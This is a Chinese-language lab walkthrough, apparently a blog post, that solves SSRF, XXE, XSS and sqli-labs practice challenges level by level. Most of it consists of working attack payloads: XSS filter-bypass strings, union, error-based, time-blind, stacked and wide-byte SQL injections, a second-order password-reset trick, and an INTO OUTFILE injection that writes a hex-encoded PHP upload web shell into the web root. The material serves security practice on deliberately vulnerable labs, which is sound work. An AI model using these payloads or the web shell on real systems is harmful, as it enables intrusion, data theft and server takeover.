SSRF漏洞靶場來到SSRF首頁這應該就是file_get_content要包含的文件了 假設我們本地搭建一個1.php文件 然后包含這個文件即可 為什么不是php形式的樣子,,而是html的形式,,因為htmlentities函數(shù)把包含進來的轉(zhuǎn)換成html實體了 第二關(guān)輸入端口445,賬號秘密都是root,,然后MySQL服務成功消失了,,hh 第三關(guān)這是正常下載 我們要下載D盤下的wenjian.txt,都可以直接下載,想必只要知道文件路徑,,想下載就下載 第四關(guān)這里我們也是同樣遠程執(zhí)行我們的1.php文件,同樣被html化 第五關(guān)應用程序不僅實現(xiàn)了內(nèi)部和私有范圍的IP黑名單,,還解決了用戶提供的域到其IP,,并再次執(zhí)行檢查,如果解決是否黑名單,。 在這種情況下,,基于DNS的欺騙伎倆也將無法訪問托管在內(nèi)部/保留IP上的內(nèi)容。應用程序代碼對其IP執(zhí)行域解析,,并再次對解析后的IP執(zhí)行黑名單IP檢查,。 我們簡單實現(xiàn)一下 結(jié)束 XXE漏洞靶場登錄成功和登錄失敗的界面 代碼也就是說xml文檔用的是php協(xié)議發(fā)送的 假設我們要訪問D盤下的1.txt文件 登錄抓包,把內(nèi)容修改成
Hello work就是我們1.txt的內(nèi)容已經(jīng)看到了 結(jié)束 XSS漏洞靶場開始我們的XSS之旅吧,! 第一關(guān) 直接修改name值改成xss代碼即可 第二關(guān)審計元素,看到還有個input影響我們xss彈窗,,把它閉合后跟上我們xss代碼即可 第三關(guān)后臺用了htmlspecialchars函數(shù)把尖括號實體化了,,所以我們改為不用尖括號的彈窗 ' οnmοuseοver='javascript:alert(1)即可 第四關(guān)這次把尖括號過濾了,還用了htmlspecialchars函數(shù) 第五關(guān)這次把on過濾了 我們不用on就行了' /> <a href='javascript:alert(1)'/> 點擊它即可 第六關(guān)過濾了on,src,data,href等等,可以直接用大小些繞過'/><a Href='javascript:alert(1)'>a</a>// 點擊它即可 第七關(guān)這次把script等換為空了 我們可以重復些繞過 '/><ScrscriptipT>alert(1)</ScriscriptPT>//< 第八關(guān)這次關(guān)鍵詞被轉(zhuǎn)換成多個下滑線的了 我們把t轉(zhuǎn)換一下編碼javascript:alert(1),,點擊友情鏈接即可 第九關(guān)這次鏈接還要有http://不然就不合法 javascript:%0dhttp://www.baidu.com%0dalert(1) r是Unicode編碼,,%0d是空格url編碼 第十關(guān)這里有個get參數(shù),我們在url中寫上參數(shù) ?t_sort='type='text' οnmοuseοver='alert(1) 隱藏了參數(shù),,問題不大 第十一關(guān) 看看源碼,,輸出框好像被隱藏起來了 我們給它加上一個,審計元素,,編輯HTML,,會出現(xiàn)一個小框,點擊它即可 第十二關(guān)我們看到了t_ua的值被隱藏起來了,, 直接修改它的值為'type='text' οnclick='alert(1),,點擊那個新增的框即可 第十三關(guān)這把好像放在t_cook里面去了 審查元素找到t_cook然后把值修改成'type='text' οnclick='alert(1),點擊新增的框即可 第十四關(guān)這關(guān)通過技巧很簡單,,看到level14.php沒有我們把它修改成level15.php簡單通過 Over 第十五關(guān)上面的src接口沒有用,, 換成https://cdn./angular.js/1.4.6/angular.min.js 它的src值我們給它賦值成src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'即可 既然它說讓我們自己想辦法走出去我們就調(diào)用第一關(guān)1的代碼 第十六關(guān)看看源碼,發(fā)現(xiàn)這次還過濾了空格,,那我們用%0a也就是換行符代替空格 <img%0asrc='1.jpg'%0aοnerrοr='alert(1)'> 第十七關(guān)既然是輸出embed標簽,,我們就改embed標簽的值為<embed src=javascript:alert(1)>即可 第十八關(guān)和上一關(guān)一樣,只不過少了下一關(guān)的鏈接而已,,改embed標簽即可 第十九關(guān)第二十關(guān)這幾關(guān)好像差不多,,沒什么差別。 通關(guān) XSS學習靶場第一題反射XSS直接告訴我們payload參數(shù)觸發(fā)了 我們直接在url中添加上代碼?payload=<script>alert(/xss/)</script> 第二題存儲xss 上來就是直接彈框1 我們看看源碼,,看到了函數(shù)get_data_from_storage函數(shù)調(diào)用的xss 修改下,,保存刷新頁面,成功修改,,下一題,、下一題 第三關(guān)DOM型xss 可以看到我們輸入的值被寫進超鏈接去了,這里只需要閉合下就可以彈窗了 把href里的單引號閉合然后跟上我們的xss代碼,,然后點擊我們的超鏈接即可彈窗 第四關(guān)local_hash 點擊框就會彈出1 審查元素看看,,eval執(zhí)行的 通過 Sql注入靶場Sql注入練習靶場-1首先我們先安裝數(shù)據(jù)信息 在sqli1目錄下的sql-connections目錄下的db-creds.inc的文件中填好自己的數(shù)據(jù)庫賬號密碼 第一題源碼中有個id參數(shù)帶進數(shù)據(jù)庫查詢了,我們帶進url中查詢 它直接用單引號把id包裹起來就帶進數(shù)據(jù)庫里查詢,,所以我們閉合一下,,構(gòu)造語句即可查詢出我們想要的數(shù)據(jù)看了' union select 1,database(),user() -- ' LIMIT 0,1 第二關(guān)這次id沒有被單引號包裹住,所以直接構(gòu)造我們的語句就可以了,不用閉合 ?id=-1 union select 1,database(),user() -- ' LIMIT 0,1 第三關(guān) 這次id加上了括號和單引號,,我們也相對應加上括號和單引號即可 1') union select 1,database(),user() -- ' LIMIT 0,1 第四關(guān)看到源碼還加了雙引號和括號,,也對應加上雙引號和括號進行閉合就行了 -1') union select 1,database(),user() -- ' LIMIT 0,1 第五關(guān)我們發(fā)現(xiàn)不管輸入id幾都不會顯示賬號密碼,加個單引號出現(xiàn)了錯誤,,既然有錯誤那我們用報錯注入' and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 進行注入,,爆出數(shù)據(jù)庫 第六關(guān)看看源碼,這次和上次就換了個雙引號,,所以我們也換個雙引號即可 第七關(guān)源碼這里使用了單引號和雙括號,,簡單構(gòu)造 一下即可 ')) and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 第八關(guān)這次錯誤被注釋了,并且加了單引號 那就是不能用報錯注入了 先輸入id=1有回顯 輸入id=100沒有回顯,,所以我們是可以進行布爾型注入的 ' and length(database())=8-- 判斷數(shù)據(jù)庫長度是不是8,,有回顯就是了 接下來是猜字符 猜解完畢,security 第九關(guān)這次源碼說了不管是不是你輸入的是什么都回顯You are in .....,,并且加了單引號 但是我們輸入' and sleep(5) -- 會發(fā)現(xiàn)它一直在轉(zhuǎn)動5秒過后才停止,,說明存在盲注 輸入1' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) -- 如果它一直在轉(zhuǎn)動說明表的第一個字符是s如果沒有轉(zhuǎn)到就不是,猜解和上一關(guān)一樣 第十關(guān)這關(guān)和上一關(guān)一樣,,就是換了個雙引號 我們也相對應換上雙引號即可 1' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) -- 第十一關(guān)登錄試試,,這應該就是post過去的了 這是加了單引號的 然后就是登錄抓包,把uname的值改成' union select database(),user()#&passwd=即可 數(shù)據(jù)庫和用戶都出來了 第十二關(guān)這次uname加了個括號,并把單引號改成雙引號,,相對應的把我們的也修改下即可 第十三關(guān)這次源碼加了單引號和括號,,既然會報錯那我們用updatexml即可 第十四關(guān)這次源碼告訴我們,沒有單雙引號還有報錯,,跟上一關(guān)差不多,,稍微修改下代碼即可 1admin' and updatexml(1,concat(0x7e,database(),0x7e),1)# 第十五關(guān)看看源碼,登錄信息,,錯誤信息,,查詢前加了單引號。都這樣了,,那就差盲注可以用了 我們把uname修改成admin' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)#然后放包 可以看到如果有這個字符的話就會轉(zhuǎn)動了 然后依次把uname換成 admin' and if(ascii(substr(database(),2,2))=ascii('e'),sleep(5),0)# admin' and if(ascii(substr(database(),3,3))=ascii('c'),sleep(5),0)# admin' and if(ascii(substr(database(),4,4))=ascii('u'),sleep(5),0)# admin' and if(ascii(substr(database(),5,5))=ascii('r'),sleep(5),0)# admin' and if(ascii(substr(database(),6,6))=ascii('i'),sleep(5),0)# admin' and if(ascii(substr(database(),7,7))=ascii('t'),sleep(5),0)# admin' and if(ascii(substr(database(),8,8))=ascii('y'),sleep(5),0)# 第十六關(guān)看看源碼,,加了雙引號和括號 我們把上一關(guān)的成功代碼修改下即可 admin”) and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)# 第十七關(guān)Sql語句也修改了,變成update,,然后把uname進行了過濾但是passwd沒有,,我們可以對他進行注入,并且會報錯 我們把passwd修改成admin' and updatexml(1,concat(0x7e,database(),0x7e),1)# 第十八關(guān)這次uname和passwd都進行了過濾 但是這里好像多了一條插入語句,, 登錄進去后發(fā)現(xiàn)了IP和User Agent,,估計就是插進去了這兩個,那我們對這其中一個進行注入即可 第十九關(guān)登錄進去發(fā)現(xiàn)來源REFERER,,看都不看源碼一眼我們就知道這是來源注入 我們抓包把來源修改下 成功 第二十關(guān)登錄進去看了一下,應該是cookie注入了 刷新頁面抓包 把Cookie修改成uname=-admin' union select 1,user(),database()-- 第二十一關(guān)和上一關(guān)一樣,這次是要把cookie進行解碼再放進去查詢?nèi)缓蠹由狭死ㄌ?,那我們把上一關(guān)成功的代碼拿去加密下 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== 登錄進去然后刷新頁面抓包改cookie即可 第二十二關(guān)用雙引號把它閉合了再加上我們的語句即可 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj 第二十三關(guān)這關(guān)是閉合單引號就可以了 ' union select 1,2,database() ' 第二十四關(guān)這關(guān)是二次注入,,我們先注冊一個賬號,這賬號是沒有過濾的,,然后再修改密碼,,因為賬號沒有過濾所以修改的密碼會修改到其他用戶那里,導致其他用戶的密碼被重置,。 我們先注冊一個賬號 賬號admin'#密碼123 登錄進去,,修改密碼為123456 成功修改,現(xiàn)在admin用戶的密碼就是123456了,,我們試試能不能登錄 成功 第二十五關(guān)源碼里的or和and過濾了,,雙寫結(jié)合大小寫繞過用Oorr代替or,AandnD代替and 第二十六關(guān)這次關(guān)鍵字過濾了很多,我們換一批就可以直接繞過 -1'||updatexml(1,concat('~',database(),'~'),3)||' 第二十六a關(guān)我們windows環(huán)境下面繞過空格用(但是他是()的閉合 所以只能%a0繞過 但是windowsurl編碼轉(zhuǎn)換不了,,所以這關(guān)環(huán)境需要linux ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1 第二十七關(guān)源碼這邊用了單引號,,加上過濾了一些關(guān)鍵字,我們可以用大小些繞過 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1 第二十八關(guān)這里源碼需要閉合簡單構(gòu)造下語句即可,,然后關(guān)鍵字還過濾了不少 -1') uniounion selectn select 1,database(),3%23 第二十九關(guān)我們把單引號閉合后面跟上%23也就是注釋 第三十關(guān) 跟上一關(guān)是差不多的,,只不過換了個雙引號 -1' union select 1,2,database() %23 第三十一關(guān)
-1')union select 1,user(),database() -- 第三十二關(guān)這里用了addslashes函數(shù)會把我們的單引號轉(zhuǎn)義導致不能閉合,,但是這里設置成gbk就導致了可以寬字節(jié)注入了,%df和%5c(\)會組合出了一個運字從而讓單引號逃逸出來 -1%E6' union select 1,version(),database() -- 第三十三題和這里是一樣的,,這里還是用上一關(guān)的代碼直接過關(guān) 第三十四關(guān)源碼告訴我們是POST過來的所以要抓包改包 admin%E6' union select version(),database()-- 第三十五關(guān)這里沒有用單引號包裹住,,所以可以直接注入不用閉合 -1 union select 1,version(),database()-- 如題,為什么要關(guān)注addslashes呢,沒有用單引號包裹住的sql語句用了addslashes也沒用 addslashes只轉(zhuǎn)義單引號,、雙引號,、斜杠、NULL 第三十六關(guān)這關(guān)好像也是寬字節(jié)注入,,所以直接構(gòu)造語句即可 第三十七關(guān)沒有差別的題目,,是POST的過來的那我們就改POST包 admin%E6' union select version(),database()-- 第三十八關(guān)這是一題堆疊注入,就是在我們執(zhí)行完sql語句之后在sql語句分號(;)后面接上我們的語句 -1' union select 1,database(),3;insert into users values(19,'sql','sql')%23 查詢完之后再插入我們的SQL語句 可以看到我們的sql語句已經(jīng)成功插進去了 第三十九關(guān)這關(guān)同理,,我們只要修改分后后面的語句即可前面直接分號結(jié)束 第四十關(guān)這里只是把id加了單引號和括號我們相對應閉合掉即可 1');insert into users values(21,'sqli','sqli')%23 第四十一關(guān)嗯,,換了條sql語句啊,相對應也換 1;insert into users values(22,'sqli','sqli')%23 第四十二關(guān)可以看到password是沒有用mysqli_real_escape_string函數(shù)進行過濾的,,那我們登錄然后相對應的抓包修改password包即可 1’;insert into users values(23,'sqli','sqli')%23 第四十三關(guān)一樣的套路,,只是password加多了個括號,相對應的加上 1’);insert into users values(24,'sqli','sqli')%23 第四十四關(guān)1';insert into users values(25,'sqli','sqli')%23 提交上去是沒有顯示的,我們可以在數(shù)據(jù)里查找 第四十五關(guān)加了個括號,,懂的 1’);insert into users values(24,'sqli','sqli')%23 第四十六關(guān)這關(guān)好像有點不一樣了吧,,開始用ORDER BY結(jié)束語句了,,Url要換成sort 視覺感覺不一樣了啊,語句還是差不多的 1 and updatexml (1, concat(0x7e,database()) ,1) 第四十七關(guān)源碼里面多了個單引號,,閉合它,,再把后面的語句注釋掉即可 1' and updatexml (1, concat(0x7e,database()) ,1)-- 第四十八關(guān)這關(guān)沒有了錯誤提示,所以不能用報錯注入了,,但可以用布爾型盲注 1 and if(length(database())=8 ,1,sleep(5))-- 錯誤的時候它會轉(zhuǎn)到 正確的時候它不會轉(zhuǎn)動 第四十九關(guān)這里只是把id用單引號包裹住了,,相對應閉合它 1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1 轉(zhuǎn)動了就說明第一個字符是s對應ascii碼是115 這次就沒有轉(zhuǎn)動,113對應的ascii碼是q 第五十關(guān)這次是數(shù)字型 ?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) ?sort=1 and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) 第五十一關(guān)單引號閉合即可 ?sort=1' and (ascii(substr((select database()) ,1,1))) = 113 and if(1=1, sleep(1), null) and '1'='1 ?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1 第五十二關(guān)咋感覺又回到了之前的關(guān)卡呢 ?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) 第五十三關(guān)sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1 第五十四關(guān)就是對輸入的次數(shù)做了限制,,需要在十次之內(nèi)獲取信息,,否則就會刷新表名列名等信息。 開始了,,首先是數(shù)據(jù)庫名稱 ?id=-1' union select 1,database(),user()-- 然后是表名?id=-1' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573-- 接著就是列名,,url中table_name后面跟著的是剛剛爆出來的表名 ?id=-1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =8uhf5h9f3k-- 最后取出數(shù)據(jù),把group_concat換成直接爆出來的列名后面也要換成表名即可 -1' union select 1,group_concat(secret_SJ8O),group_concat(sessid) from challenges.8uhf5h9f3k 最后把爆出來的一串東西提交上去 第五十五關(guān)數(shù)據(jù)格式變成id=(1),,其他都是一樣的 數(shù)據(jù)庫:?id=-1) union select 1,database(),user()-- 表:?id=-1) union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573-- 列?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='d09q4gshxt' -- -1) union select 1,group_concat(secret_LUTR),group_concat(sessid) from challenges.d09q4gshxt-- 成功 第五十六這次id變成括號加單引號了 -1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' -- 按照順序進行即可 第五十七關(guān)沒猜錯的話按照順利這次就是雙引號了,,其他不變 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' -- 按照順序啊 第五十八關(guān) 這關(guān)好像不能用union聯(lián)合注入,那我們用報錯注入,,并且錯誤次數(shù)只有五次了,,錯誤次數(shù)超過五次就會刷新 爆表:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- 爆列:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='hpk0klwybw' )),1)-- 爆值:?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_MTR4) from challenges.hpk0klwybw)),1)-- 輸入進去即可 五十九關(guān)這關(guān)id沒有被單引號或括號包裹 ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- 接下來就是順序了,嗯~ 第六十關(guān)Id被雙引號和括號包裹了,,上閉合 ?id=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- 下一關(guān),。。 第六十一關(guān)這次雙括號加單引號0.0 表:?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)-- ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='zy3odcjijx' ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_6C64) from challenges.zy3odcjijx)),1)-- 輸入進去即可 第六十二關(guān)這關(guān)是盲注 key是24位由大小寫字母和數(shù)字隨機組成的值,,這里建議大家用腳本把值跑出來 第六十三關(guān)這關(guān)跟上一關(guān)一樣,,的唯一區(qū)別在于需要使用單引號閉合 不再贅述! 第六十四關(guān)這關(guān)跟上一關(guān)一樣,,的唯一區(qū)別在于需要使用括號閉合 不再贅述,! 第六十五關(guān)這幾關(guān)性質(zhì)都一樣,只不過閉合語句不同,,不再贅述 Sql注入練習靶場2直接開始注冊頁面好像沒過濾,,那直接注入吧 admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or' 下一關(guān)看看login1.php 源碼這里看到直接傳進來沒有任何過濾 直接構(gòu)造語句插進Username里就可以 admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)# 爆出數(shù)據(jù)庫 接著繼續(xù)看看login2.php這里同意是沒有任何過濾就帶進數(shù)據(jù)庫查詢了,只是加了個括號 admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)# 下一關(guān)Searchproducts.php 搜索下p,,可以看到這不就是模糊查詢嘛 有報錯的話,,我們就用爆錯注入 p’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 下一關(guān)這關(guān)注冊的時候沒有過濾好,讓單引號進數(shù)據(jù)庫了,,后面從數(shù)據(jù)庫查詢的時候單引號就會引起作用 admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or' 下一關(guān)好像是我們上一關(guān)的注入啊,,路過 下一關(guān)錯誤被注釋了,但是有回顯 正常頁面 錯誤頁面 可以用布爾型盲注' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) -- 判斷數(shù)據(jù)庫第一個字母是不是s如果是沉睡5秒,,不是的話就不刷新 ' and if(ascii(substr(database(),1,1))=ascii('a'),sleep(5),0) -- 說明數(shù)據(jù)庫第一關(guān)字母不是a 下一關(guān)可以用來與操作系統(tǒng)進行交互,,包括讀取和寫入文件等任務,。 雖然我們可以用報錯注入直接注入,但是這不符合題意,,那我們就導入文件吧 admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)-- 代碼如下 -admin' OR 4212=4212 LIMIT 0,1 INTO OUTFILE 'D:/phpstudy_pro/WWW/www./sqli2/1.php' LINES TERMINATED BY 0x3c3f706870696628697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b69662870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f2246696c6575706c6f61646564223b7d656c73657b6563686f223c666f726d616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e226d6574686f643d504f5354656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e707574747970653d68696464656e6e616d653d4d41585f46494c455f53495a4576616c75653d313030303030303030303e3c623e66696c6575706c6f616465723c2f623e3c62723e3c696e7075746e616d653d66696c65747970653d66696c653e3c62723e746f6469726563746f72793a3c696e707574747970653d746578746e616d653d75706c6f616444697276616c75653d443a70687073747564795f70726f5757577777772e746573742e636f6d73716c69323e3c696e707574747970653d7375626d69746e616d653d75706c6f616476616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e-- 成功導出shell 通過 Sql注入練習靶場3首先看到的是登錄頁面,,應該是有注入的了看看源碼 沒有過濾,這里username是被單引號包裹注的,,要閉合 ‘or 1 = 1#直接進行登錄即可, 登錄成功 然后就是搜索這里也有注入 Stockholm' and updatexml (1, concat(0x7e,database()) ,1)-- ' 然后源碼里面好像還有個安全的源碼一模一樣的功能 源碼里面查詢的時候是用pdo綁定參數(shù)實現(xiàn)的 結(jié)束了 |
|
來自: 小灰灰i58u7w06 > 《漏洞利用文章》